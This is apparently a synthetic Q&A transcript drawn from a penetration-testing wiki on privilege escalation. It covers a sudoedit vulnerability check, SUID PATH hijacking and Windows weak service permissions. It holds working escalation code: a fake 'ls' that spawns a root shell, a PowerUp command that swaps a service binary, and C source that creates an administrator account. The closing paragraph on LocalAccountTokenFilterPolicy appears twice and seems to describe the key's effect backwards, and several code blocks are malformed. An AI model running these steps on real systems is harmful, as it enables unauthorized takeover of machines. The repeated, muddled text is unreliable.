With SUDO running version < 1.9.5p2, a Heap-based Buffer Overflow allows for privilege escalation to root via sudoedit -s and a command-line argument that ends with a single backslash character. To test if a system is vulnerable or not, the following command can be run as a non-root user.

``bash
sudoedit -s /
`

Patched versions will throw a usage: help message while vulnerable ones will throw the following sudoedit: error.

[User] Explain SUID/SGID binaries - Theory

[Assistant]
On UNIX-like systems, binaries have permissions, just like any other file. Some of them often are over-privileged, sometimes allowing attackers to escalate their privileges on the system. The common permissions are read, write, execute. The extended ones are setuid, setgid, sticky bit, and so on.

The setuid/setgid (SUID/SGID) bits allows the binary to run with the privileges of the user/group owner instead of those of the user executing it. They can be spotted with the s or S permission in the file user or group owner permissions (i.e. ---s--s---). When the file permissions features an uppercase S instead of a lowercase one, it means the corresponding user or group owner doesn't have execution rights.

> [!CAUTION]
> Limitations
>
> * Just like capabilities, setuid and setgid bits are unset when a file is copied with cp or when its content changes.
> * Some partitions of the UNIX file system can be mounted with the nosuid option. In this case the setuid and setgid bits are ignored for binaries placed inside those partitions. It is a common good practice for tmpfs partitions like /tmp or/run. Searching the /proc/mounts pseudo-file for a nosuid flag can help find these partitions.

[User] What is SUID/SGID binaries - Relative path calls?

[Assistant]
If a SUID/SGID binary makes calls to programs using relative paths instead of absolute paths, attackers can try to make the binary run a program controlled by the attacker. Let's take this vulnerable program as an example :

``c
int function(int argc, char *argv[]){
/ ... /
 system("ls") // instead of system("/usr/bin/ls")
/ ... /
}
`

In the example above, the SUID/SGID binary calls the ls program using a relative path. An attacker can try to create a ls program somewhere he has write access to and edit the PATH environment variable so that his custom program is executed when running the SUID/SGID binary.

`bash
mkdir -p /tmp/attacker
cd /tmp/attacker && printf '#!/bin/sh\nexec /bin/sh\n' > /tmp/attacker/ls
chmod +x /tmp/attacker/ls
PATH=/tmp/attacker:$PATH ./vuln
`

When the vuln program will be executed, the malicious ls` program will be called and a shell will be opened.

[User] Give me an overview of 🛠 Weak service permissions - Theory

[Assistant]
File permissions in Windows define who is allowed to access, modify, or execute files on the system. If these permissions are misconfigured, they can enable unauthorized users to alter or replace critical files, potentially leading to security vulnerabilities such as unauthorized access.

Below is a summary of Windows file permissions based on the provided table:

    F (Full access): Grants complete control over the file, including modifying and deleting it.
    M (Modify access): Allows editing and deleting the file, but not changing permissions.
    RX (Read and execute access): Permits viewing the file and executing it if it's an executable.
    R (Read-only access): Only allows viewing the file without making changes.
    W (Write-only access): Permits writing to the file but not reading or executing it.

[User] How does 🛠 Weak service permissions - Enumerate of vulnerable services work?

[Assistant]
This type of abuse can occur when the binary of a Windows service is misconfigured. If the permissions for this binary allow a local user without special privileges to modify or replace it with a malicious version, the attacker may gain the privileges of the service account, which is often a high-privilege account.

Enumeration can be performed using PowerShell, either by leveraging native PowerShell commands (Living off the Land) or by utilizing additional tools and scripts like PowerUp. The main difference between the two lies in the results: PowerUp can identify whether a service is vulnerable, while PowerShell merely lists the binary services. In this example, the aniService service is misconfigured and vulnerable to this attack.

[User] Give me an overview of 🛠 Weak service permissions - Crafting a malicious binary

[Assistant]
In the current practical case, the executable permission (F) is set for the "Everyone" group. However, if the permission had been set to (M), abuse would also have been possible. Due to this misconfiguration, the attacker can easily replace the binary with a malicious version. PowerUp can be used to automate this task.

``powershell
> Install-ServiceBinary -ServiceName 'aniService' -User vador -P "D4rkIsD@rk"
`

Once the command is executed, it will only be necessary to restart the service to ensure that the abuse has been successfully carried out.

The second method involves creating a custom malicious binary, which can offer advantages, such as bypassing antivirus detection. Below is a simple C code that will execute a Windows system command (the system command can, of course, be replaced with another).
`C
#include <stdlib.h>
int main ()
{
int i;
    i = system("net user vador D4rkIsD@rk /add && timeout /t 2 && net localgroup Administrators vador /add");
return 0;
}

`

To compile Windows Executable it is possible to use i686-w64-mingw32-gcc.

[User] Describe 🛠 Weak service permissions - Configuring the LocalAccountTokenFilterPolicy in the context of penetration testing

[Assistant]
A small nuance when adding a local user: there is a registry key named LocalAccountTokenFilterPolicy that, when enabled, prevents users in the local Administrators group (except for those with a RID of 500, such as the built-in Administrator account) from obtaining full administrator rights during remote connections, such as to administrative shares like C$. To disable this restriction, the value of the key must be modified.

A small nuance when adding a local user: there is a registry key named LocalAccountTokenFilterPolicy that, when enabled, prevents users in the local Administrators group (except for those with a RID of 500, such as the built-in Administrator account) from obtaining full administrator rights during remote connections, such as to administrative shares like C$. To disable this restriction, the value of the key must be modified.
